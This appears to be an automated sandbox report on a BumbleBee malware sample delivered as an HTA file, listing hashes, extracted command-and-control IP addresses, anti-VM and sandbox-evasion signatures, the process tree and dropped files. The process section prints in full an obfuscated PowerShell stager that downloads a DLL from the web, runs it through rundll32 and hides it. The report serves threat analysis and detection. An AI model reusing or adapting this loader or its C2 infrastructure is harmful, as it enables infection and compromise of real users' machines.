Overview

overview

10

Static

static

a1756.hta

windows10-2004_x64

10

Analysis

  • max time kernel
    90s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    18/06/2022, 02:48

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a1756.hta

  • Size

    106KB

  • MD5

    77e0ff485132eb2eb9f87ad6eab9a503

  • SHA1

    46eb0a58f4e0d34649a9bd07a63d0fda8b6cf4a9

  • SHA256

    9464c5521abc33590b6388f41d53d306f33c8e6a4b20358155a3cbfbdf31b0ff

  • SHA512

    8fd76911715e85adc2335f0daa8ce8a916823a369056d860d56e5eb188faca5dfe0b6a6fbf545384dce7fd4b54971f754d076cdc1386a440f42ec05c64713d06

Score
10/10
bumblebeea17evasiontrojan

Malware Config

Extracted

Family

bumblebee

Botnet

a17

C2

220.111.119.123:476

90.12.112.169:180

146.70.124.116:443

47.27.63.45:115

77.45.24.148:444

11.1.201.27:344

224.200.37.92:481

103.175.16.38:443

188.8.220.88:269

12.202.229.195:440

41.56.181.200:486

173.171.60.50:394

5.152.80.211:121

88.158.143.245:189

57.242.85.233:131

30.205.76.70:490

45.138.172.246:443

213.226.100.95:443

46.44.240.53:361

151.75.118.144:368
rc4.plain

Signatures

  • BumbleBee

    BumbleBee is a webshell malware written in C++.

    trojanbumblebee
  • Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\a1756.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3148
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function sfNLCqnFiKI($KuRdwWHKWxHdO, $zhZaIagMAJgckCPl){[IO.File]::WriteAllBytes($KuRdwWHKWxHdO, $zhZaIagMAJgckCPl)};function ENqKnJXwBLF($KuRdwWHKWxHdO){if($KuRdwWHKWxHdO.EndsWith((wUVPkCyLVQNxHewJ @(49750,49804,49812,49812))) -eq $True){Start-Process (wUVPkCyLVQNxHewJ @(rundll32.exe $KuRdwWHKWxHdO ,TSErsNqyhR ))}elseif($KuRdwWHKWxHdO.EndsWith((wUVPkCyLVQNxHewJ @(49750,49816,49819,49753))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $KuRdwWHKWxHdO}else{Start-Process $KuRdwWHKWxHdO}};function VduyWaaEzCowZqsK($sfNLCqnFiKI){$CnUBFBrqJLbRiaoDEbam=(wUVPkCyLVQNxHewJ @(49776,49809,49804,49804,49805,49814));$lJvVeRQIpM=(Get-ChildItem $sfNLCqnFiKI -Force);$lJvVeRQIpM.Attributes=$lJvVeRQIpM.Attributes -bor ([IO.FileAttributes]$CnUBFBrqJLbRiaoDEbam).value__};function lkBLTsYSkQTbqJd($YwVjretvalrtU){$qPifrzmLAAlEvDf = New-Object (wUVPkCyLVQNxHewJ @(49782,49805,49820,49750,49791,49805,49802,49771,49812,49809,49805,49814,49820));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$zhZaIagMAJgckCPl = $qPifrzmLAAlEvDf.DownloadData($YwVjretvalrtU);return $zhZaIagMAJgckCPl};function wUVPkCyLVQNxHewJ($UiXVLnoBl){$uEerpbacyEbUh=49704;$njqXRYwkfwbNa=$Null;foreach($rNVhgBOwkmUuWZZJ in $UiXVLnoBl){$njqXRYwkfwbNa+=[char]($rNVhgBOwkmUuWZZJ-$uEerpbacyEbUh)};return $njqXRYwkfwbNa};function FrbLmunfo(){$WQEBPIDdOjMGRXZFkDx = $env:AppData + '\';;$kxwmFjghiTbUgbMp = $WQEBPIDdOjMGRXZFkDx + '';If(Test-Path -Path $kxwmFjghiTbUgbMp){Invoke-Item $kxwmFjghiTbUgbMp;}Else{ $nQYMowphSEMmJKYm = lkBLTsYSkQTbqJd (wUVPkCyLVQNxHewJ @(49808,49820,49820,49816,49819,49762,49751,49751));sfNLCqnFiKI $kxwmFjghiTbUgbMp $nQYMowphSEMmJKYm;Invoke-Item $kxwmFjghiTbUgbMp;}$vDgGPDZSeuD = $WQEBPIDdOjMGRXZFkDx + 'a17_cr56.dll'; if (Test-Path -Path $vDgGPDZSeuD){ENqKnJXwBLF $vDgGPDZSeuD;}Else{ $JzsoBTlTsXDwi = lkBLTsYSkQTbqJd (wUVPkCyLVQNxHewJ @(49808,49820,49820,49816,49819,49762,49751,49751,49816,49809,49804,49809,49816,49821,49818,49805,49822,49750,49803,49815,49813,49751,49801,49753,49759,49799,49803,49818,49757,49758,49750,49804,49812,49812));sfNLCqnFiKI $vDgGPDZSeuD $JzsoBTlTsXDwi;ENqKnJXwBLF $vDgGPDZSeuD;};VduyWaaEzCowZqsK $vDgGPDZSeuD;;;;;}FrbLmunfo;
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1604
      • C:\Windows\SysWOW64\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a17_cr56.dll TSErsNqyhR
        3⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a17_cr56.dll TSErsNqyhR
          4⤵
          • Enumerates VirtualBox registry keys
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Looks for VirtualBox Guest Additions in registry
          • Checks BIOS information in registry
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:204
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:1756

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\a17_cr56.dll
      Filesize

      1.6MB

      MD5

      2ca8831a93e019d17aa20a57f181c9af

      SHA1

      67e22e6228a98d188f52da56bcddad4be4241f8d

      SHA256

      4e1c8820612a384232f70e396d5ba17a7d75daa33adabf49f730bf449d606969

      SHA512

      931d26761f9b7cfae025d1b672a60eb28ad843986025cb59f73143ea03fa1a48705f8c4e3e3178552e5b3b06989a841b3f77c71eb98261bd1a2925bd1b97e7db

      Download Submit

    • C:\Users\Admin\AppData\Roaming\a17_cr56.dll
      Filesize

      1.6MB

      MD5

      2ca8831a93e019d17aa20a57f181c9af

      SHA1

      67e22e6228a98d188f52da56bcddad4be4241f8d

      SHA256

      4e1c8820612a384232f70e396d5ba17a7d75daa33adabf49f730bf449d606969

      SHA512

      931d26761f9b7cfae025d1b672a60eb28ad843986025cb59f73143ea03fa1a48705f8c4e3e3178552e5b3b06989a841b3f77c71eb98261bd1a2925bd1b97e7db

      Download Submit

    • C:\Users\Admin\AppData\Roaming\a17_cr56.dll
      Filesize

      1.6MB

      MD5

      2ca8831a93e019d17aa20a57f181c9af

      SHA1

      67e22e6228a98d188f52da56bcddad4be4241f8d

      SHA256

      4e1c8820612a384232f70e396d5ba17a7d75daa33adabf49f730bf449d606969

      SHA512

      931d26761f9b7cfae025d1b672a60eb28ad843986025cb59f73143ea03fa1a48705f8c4e3e3178552e5b3b06989a841b3f77c71eb98261bd1a2925bd1b97e7db

      Download Submit

    • memory/204-148-0x00007FFE2D3E0000-0x00007FFE2D3F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/204-147-0x000001E5D0BB0000-0x000001E5D0CC7000-memory.dmp

      Filesize

      1.1MB

      Download

    • memory/1604-138-0x00000000060D0000-0x00000000060EA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/1604-137-0x0000000006CA0000-0x0000000006D36000-memory.dmp

      Filesize

      600KB

      Download

    • memory/1604-139-0x00000000061D0000-0x00000000061F2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1604-140-0x00000000072F0000-0x0000000007894000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1604-141-0x0000000007F20000-0x000000000859A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/1604-136-0x0000000005C10000-0x0000000005C2E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/1604-135-0x0000000005630000-0x0000000005696000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1604-134-0x0000000005550000-0x00000000055B6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/1604-133-0x0000000004C70000-0x0000000004C92000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1604-132-0x0000000004DB0000-0x00000000053D8000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/1604-131-0x0000000004640000-0x0000000004676000-memory.dmp

      Filesize

      216KB

      Download